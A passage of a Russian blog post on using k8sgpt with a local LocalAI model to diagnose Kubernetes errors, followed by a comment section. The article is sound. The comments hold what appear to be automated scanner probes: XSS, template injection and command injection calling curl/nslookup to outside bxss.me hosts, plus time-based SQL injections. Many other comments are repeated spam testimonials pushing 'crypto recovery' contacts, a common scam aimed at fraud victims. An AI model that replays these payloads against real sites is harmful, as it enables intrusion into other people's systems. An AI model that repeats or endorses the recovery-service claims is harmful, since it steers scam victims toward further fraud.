Simplify the following Kubernetes error message delimited by triple dashes written in --- english --- language; --- Ingress uses the ingress class ZWIyfD5S which does not exist. Ingress uses the service Rkwv/c0gnUmJZNjhPIw== which does not exist. Ingress uses the secret ZUUx/LVdhSF9rbF0xNEIjLVA= as a TLS certificate which does not exist. ---.
	Provide the most possible solution in a step by step style in no more than 280 characters. Write the output in the following format:
	Error: {Explain error here}
	Solution: {Step by step solution here}
### Response:

Здесь хорошо видны часть запроса, которую принес бэк для LocalAI, и часть от утилиты k8sgpt — {{.Input}}. Остальные параметры values.yaml оставил дефолтными.

Если с ресурсами для пода всё хорошо, достаточно места на runner для скачивания образа и imagePullSecrets на месте, то всё запустится с первого раза:

gitlab-runner:~$ docker image ls
REPOSITORY                   TAG       IMAGE ID       CREATED      SIZE
quay.io/go-skynet/local-ai   latest    ba9a2b1bff11   2 days ago   14GB

В этом случае в логе можно увидеть:

# kubectl -n dev logs local-ai-dev-6b67766d44-59cxh -f
...
12:42PM DBG File "ggml-gpt4all-j" downloaded and verified
12:42PM DBG Prompt template "gpt4all-completion" written
12:42PM DBG Prompt template "gpt4all-chat" written
12:42PM DBG Written config file /models/gpt4all-j.yaml


 ┌───────────────────────────────────────────────────┐ 
 │                   Fiber v2.48.0                   │ 
 │               http://127.0.0.1:8080               │ 
 │       (bound on host 0.0.0.0 and port 8080)       │ 
 │                                                   │ 
 │ Handlers ............ 55  Processes ........... 1 │ 
 │ Prefork ....... Disabled  PID ................ 14 │ 
 └───────────────────────────────────────────────────┘ 

После успешного развёртывания образа с LocalAI и запуска внутри этого пода модели нужно зарегистрировать новый бэк в k8sgpt:

k8sgpt auth add -b localai -u local-ai-dev.dev.svc.cluster.local:8080/v1 -m ggml-gpt4all-j
k8sgpt auth default -p localai

Запрос k8sgpt в локальный бэк с фильтром по подам:

k8sgpt analyze -b localai --explain --no-cache --namespace=dev -f Pod

И, как уже показывал выше, когда запрос завёрнут в наш локальный под с моделью, можно увидеть, как именно k8sgpt творит свою магию. То есть какими вопросами она оборачивает исходный отчёт по неисправностям, полученный в результате запуска утилиты с опцией --analyze:

...
### Prompt:
Simplify the following Kubernetes error message delimited by triple dashes written in --- english --- language; --- Back-off pulling image "alpine:3.88" ---.
	Provide the most possible solution in a step by step style in no more than 280 characters. Write the output in the following format:
	Error: {Explain error here}
	Solution: {Step by step solution here}

...

Вот что ответил бэк LocalAI + ggml-gpt4all-j на случай проблемы с отсутствующим тегом:

# k8sgpt analyze -b localai --explain --no-cache --namespace=dev -f Pod
 100% |██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (1/1, 2 it/min)         
AI Provider: localai

0 dev/test-6645f4b985-t2ntj(Deployment/test)
- Error: Back-off pulling image "alpine:3.88"

  I'm sorry, as an AI language model, it is not within my programming to provide step-by-step solutions or explain errors. However, I can provide the most common response that could occur. In this case, it seems like an error message about pulling the image "alpine:3.88" is being displayed, but there may be no solution to it.

Ответ бесполезный, но честный: данная модель не может предоставить пошаговое решение, но предлагает обратить внимание на ошибку скачивания образа.

Следующий ответ был получен на той же модели, но с температурой 0,9:

# k8sgpt analyze -b localai --explain --no-cache --namespace=dev -f Pod
 100% |██████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████████| (1/1, 1 it/min)         
AI Provider: localai

0 dev/test-6645f4b985-t2ntj(Deployment/test)
- Error: Back-off pulling image "alpine:3.88"
The error message is "back-off pulling image alpine:3.88". The possible cause of the error is a network issue or an incorrect configuration. To resolve the error, you need to check your network connection and make sure that the image has been successfully pushed to your server. Once the image is uploaded, you can specify it as a dependency in your project's package.json file and run "npm install" to include it in your project. Alternatively, you can also use a CI/CD tool such as Jenkins or Travis CI to automate the build process and ensure that all dependencies are up-to-date.

Тут ответ получился более развёрнутый. Например, утилита предлагает проверить сетевое соединение и убедиться в наличии упомянутого образа на сервере. При этом сервис ввёл меня в заблуждение: совет про package.json явно не относится к проблеме. Из плюсов — модель не предлагает перезапустить кластер.

Как видно из примеров выше, подход с использованием локальной модели применим. При этом требуется узел с бо́льшими объёмами вычислительных мощностей, так как не представляется возможным ждать рекомендаций по несколько часов при интерактивном взаимодействии с утилитой. Возможно, такой вариант подойдёт, например, в режиме запуска утилиты как оператора. А ещё при использовании приложения LocalAI в кластере не удалось найти возможности использовать одну из ключевых фишек K8s: запустить несколько Pod с моделью для параллельных вычислений. Скорее всего, такой вариант запуска модели не поддерживается.

Локальный репозиторий моделей

Дальше захотелось попробовать запустить другую модель. Для этого комьюнити подготовило несколько готовых вариантов в галерее. Например, вот модель, которая использовалась выше. Или можно попробовать такую известную модель, как llama_7b, для этого в values.yaml нужно поменять или добавить параметр preload_models:

preload_models: '[{"url": "github:go-skynet/model-gallery/openllama_7b.yaml", "name": "gpt-3.5-turbo"}]'

Но допустим, мне захотелось попробовать модель, которой нет в галерее, то есть нет среди доступных шаблонов для LocalAI. Или же у меня есть собственная обученная модель. В этом случае может помочь локальная галерея шаблонов. Для этого можно сделать следующее: скачать модель с общедоступного репозитория или обучить свою, составить шаблон и сделать доступным файл шаблона (например, через отдельный ингресс того же кластера). После этого нужно указать приложению LocalAI на свой подготовленный yaml-файл со скачанной моделью.

Вот пример такого файла-шаблона для модели llama_2_7b_chat_gglm.yaml:

name: "llama-2-7b-chat-gglm"

description: |
  ...

license: ...
urls:
- https://huggingface.co/meta-llama/Llama-2-7b-chat-hf

config_file: |
    backend: llama
    parameters:
      model: llama-2-7b-chat.ggmlv3.q6_K.bin
      top_k: 80
      temperature: 0.2
      top_p: 0.7
    context_size: 1024
    template:
      completion: openllama-completion
      chat: openllama-chat
files:
    - filename: "llama-2-7b-chat.ggmlv3.q6_K.bin"
      sha256: "e32c8f063b357001a1da0431778b40a78aa71dd664561ff14c51f18556381818"
      uri: "https://huggingface.co/TheBloke/Llama-2-7B-Chat-GGML/blob/main/llama-2-7b-chat.ggmlv3.q6_K.bin"

prompt_templates:
- name: "openllama-completion"
  content: |
    Q: Complete the following text: {{.Input}}\nA: 
- name: "openllama-chat"
  content: |
    Q: {{.Input}}\nA:

Остальные параметры можно крутить. В моём случае можно считать, что они остались по умолчанию.

Добавляю в values.yaml приложения LocalAI ссылку на локальный шаблон и перезапускаю деплой:

preload_models: '[{"url": "https://gallery.sandbox.echo-shared.hf.flant.com/llama_2_7b_chat_gglm.yaml", "name": "llama_2_7b_chat_gglm"}]'

Поскольку выделенных тестовых мощностей для запуска модели мне, естественно, не хватило, то и показать ответы модели тут не смогу. Рекомендованные мощности обычно указаны в описании модели. Например, в репозитории huggingface для llama_2_7b требуемые ресурсы указаны здесь.

Из вышеперечисленного можно сделать вывод, что утилите k8sgpt для формирования полезной рекомендации зачастую недостаточно моделей, обученных на небольшом количестве данных, или сильно квантованных моделей, например ggml-gpt4all-j. При квантовании уменьшается объём памяти, необходимый для хранения модели, и ускоряется её выполнение за счёт снижения вычислительной нагрузки. Но это также приводит к потере точности и ухудшению качества результатов модели. А для достижения лучших результатов нужны большие мощности, но об этом я постараюсь рассказать в следующих статьях.

Выводы

Самый важный вывод, который я сделал для себя: утилиту k8sgpt можно использовать как неплохую помощь при онбординге. Даже без бэкенда в виде AI в утилиту встроены полезные анализаторы состояния ресурсов кластера, которые в некоторых случаях достаточно информативны. Кроме этого, можно добавить информацию из документации K8s, не выходя из консоли.

При этом отмечу, что обычно новичок с помощью некоторых самых базовых команд диагностистики, таких как kubectl explain, describe, get events, logs, и любимого поисковика сможет найти решение представленных в статье проблем, но ответы k8sgpt помогают быстрее пойти в правильном направлении за счёт фокуса на возможных решениях, а не на кодах ошибок, а также за счёт структурированной выдачи и примеров команд.

Полезность советов k8sgpt по устранению проблем зависит от используемого бэкенда — модели, которая генерирует ответ. После анализа нескольких бэков субъективно лучшей на момент сравнения показалась OpenAI с моделью 4o, хотя gpt-3.5-turbo зачастую даёт сопоставимые ответы, а стоит меньше. Из плюсов ответов 4o — она, помимо рекомендаций, выдавала и команды для диагностики. Локальные модели также дают полезные ответы, но здесь всё зависит от доступных мощностей.

В этом эксперименте я не сравнивал вывод утилиты с диалогом в чате. Кажется, данное сравнение было бы некорректным. Чат всё же является более гибким инструментом, где можно многократно обновлять контекст, делать замечания и уточнения, например скопировать вывод kubectl get events и логи пода в веб выбранного чата и получить схожий набор рекомендаций. Но тем не менее граница стала более размытой после добавления утилите k8sgpt интерактивного режима.

В качестве плюса утилиты отмечу удобство, так как рекомендации по дебагу можно получить, не переключаясь из терминала кластера в браузер. k8sgpt подсвечивает опечатки или отсутствие требуемых ресурсов, если их забыли определить. А модуль анализа дополнительно проверяет ошибки некоторых ресурсов, отправляя в бэк, помимо текста ошибки, дополнительную отладочную информацию, подходящую данному типу ресурса. Таким образом, используя утилиту при онбординге и получая список пошаговых действий, можно начать включаться в дебаг кластера, исключая с помощью утилиты сначала самые простые и частые ошибки.

Из явных минусов стоит отметить, что анализ проводится по определённому количеству ресурсов кластера, пробовать дебажить кастомные ресурсы пока нет возможности, но проект открытый и активно развивающийся. Продолжая про минусы, плавающие ошибки отловить так и не удалось, а из неожиданного — ту же ошибку ErrImagePull можно поймать утилитой k8sgpt только на основном контейнере, для initContainer ошибка осталась незамеченной.

Кроме этого, хотелось бы в будущем получить возможность менять шаблон запроса (prompt), сохранять контекст и обогащать его новыми событиями. Ещё был бы полезен анализ логов пода. Тем не менее проект быстро развивается, и некоторые фичи, которых мне не хватало в начале обзора, появились к его концу, например интерактивный режим.

P. S.

Статья является компиляцией личного опыта и других обзоров. Полезные ссылки по теме:

Читайте также в нашем блоге:

Источник

  • 09.10.25 08:09 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:09 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    e

  • 09.10.25 08:11 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:12 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?'"()&%<zzz><ScRiPt >6BEP(9887)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("curl hityjalvnplljd6041.bxss.me")}}

  • 09.10.25 08:13 pHqghUme

    '"()&%<zzz><ScRiPt >6BEP(9632)</ScRiPt>

  • 09.10.25 08:13 pHqghUme

    can I ask you a question please?9425407

  • 09.10.25 08:13 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:14 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:16 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    e

  • 09.10.25 08:17 pHqghUme

    "+response.write(9043995*9352716)+"

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:17 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:18 pHqghUme

    $(nslookup -q=cname hitconyljxgbe60e2b.bxss.me||curl hitconyljxgbe60e2b.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:18 pHqghUme

    |(nslookup -q=cname hitrwbjjcbfsjdad83.bxss.me||curl hitrwbjjcbfsjdad83.bxss.me)

  • 09.10.25 08:18 pHqghUme

    |(nslookup${IFS}-q${IFS}cname${IFS}hitmawkdrqdgobcdfd.bxss.me||curl${IFS}hitmawkdrqdgobcdfd.bxss.me)

  • 09.10.25 08:18 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:19 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:20 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    e

  • 09.10.25 08:21 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:22 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:22 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:22 pHqghUme

    can I ask you a question please?0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

  • 09.10.25 08:23 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:23 pHqghUme

    (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

  • 09.10.25 08:24 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:24 pHqghUme

    e

  • 09.10.25 08:24 pHqghUme

    can I ask you a question please?-1 waitfor delay '0:0:15' --

  • 09.10.25 08:25 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    e

  • 09.10.25 08:25 pHqghUme

    can I ask you a question please?9IDOn7ik'; waitfor delay '0:0:15' --

  • 09.10.25 08:26 pHqghUme

    can I ask you a question please?MQOVJH7P' OR 921=(SELECT 921 FROM PG_SLEEP(15))--

  • 09.10.25 08:26 pHqghUme

    e

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?64e1xqge') OR 107=(SELECT 107 FROM PG_SLEEP(15))--

  • 09.10.25 08:27 pHqghUme

    can I ask you a question please?ODDe7Ze5')) OR 82=(SELECT 82 FROM PG_SLEEP(15))--

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?'"

  • 09.10.25 08:28 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:28 pHqghUme

    @@olQP6

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891 from DUAL)

  • 09.10.25 08:28 pHqghUme

    (select 198766*667891)

  • 09.10.25 08:30 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:33 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:34 pHqghUme

    if(now()=sysdate(),sleep(15),0)

  • 09.10.25 08:35 pHqghUme

    e

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:36 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:37 pHqghUme

    e

  • 09.10.25 08:40 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:40 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:41 pHqghUme

    e

  • 09.10.25 08:41 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    can I ask you a question please?

  • 09.10.25 08:42 pHqghUme

    is it ok if I upload an image?

  • 09.10.25 08:42 pHqghUme

    e

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 09.10.25 11:05 marcushenderson624

    Bitcoin Recovery Testimonial After falling victim to a cryptocurrency scam group, I lost $354,000 worth of USDT. I thought all hope was lost from the experience of losing my hard-earned money to scammers. I was devastated and believed there was no way to recover my funds. Fortunately, I started searching for help to recover my stolen funds and I came across a lot of testimonials online about Capital Crypto Recovery, an agent who helps in recovery of lost bitcoin funds, I contacted Capital Crypto Recover Service, and with their expertise, they successfully traced and recovered my stolen assets. Their team was professional, kept me updated throughout the process, and demonstrated a deep understanding of blockchain transactions and recovery protocols. They are trusted and very reliable with a 100% successful rate record Recovery bitcoin, I’m grateful for their help and highly recommend their services to anyone seeking assistance with lost crypto. Contact: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Email: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 11.10.25 04:41 luciajessy3

    Don’t be deceived by different testimonies online that is most likely wrong. I have made use of several recovery options that got me disappointed at the end of the day but I must confess that the tech genius I eventually found is the best out here. It’s better you devise your time to find the valid professional that can help you recover your stolen or lost crypto such as bitcoins rather than falling victim of other amateur hackers that cannot get the job done. ADAMWILSON . TRADING @ CONSULTANT COM / WHATSAPP ; +1 (603) 702 ( 4335 ) is the most reliable and authentic blockchain tech expert you can work with to recover what you lost to scammers. They helped me get back on my feet and I’m very grateful for that. Contact their email today to recover your lost coins ASAP…

  • 11.10.25 10:44 Tonerdomark

    A thief took my Dogecoin and wrecked my life. Then Mr. Sylvester stepped in and changed everything. He got back €211,000 for me, every single cent of my gains. His calm confidence and strong tech skills rebuilt my trust. Thanks to him, I recovered my cash with no issues. After months of stress, I felt huge relief. I had full faith in him. If a scam stole your money, reach out to him today at { yt7cracker@gmail . com } His help sparked my full turnaround.

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 01:12 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 12.10.25 19:53 Tonerdomark

    A crook swiped my Dogecoin. It ruined my whole world. Then Mr. Sylvester showed up. He fixed it all. He pulled back €211,000 for me. Not one cent missing from my profits. His steady cool and sharp tech know-how won back my trust. I got my money smooth and sound. After endless worry, relief hit me hard. I trusted him completely. Lost cash to a scam? Hit him up now at { yt7cracker@gmail . com }. His aid turned my life around. WhatsApp at +1 512 577 7957.

  • 12.10.25 21:36 blessing

    Writing this review is a joy. Marie has provided excellent service ever since I started working with her in early 2018. I was worried I wouldn't be able to get my coins back after they were stolen by hackers. I had no idea where to begin, therefore it was a nightmare for me. However, things became easier for me after my friend sent me to [email protected] and +1 7127594675 on WhatsApp. I'm happy that she was able to retrieve my bitcoin so that I could resume trading.

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

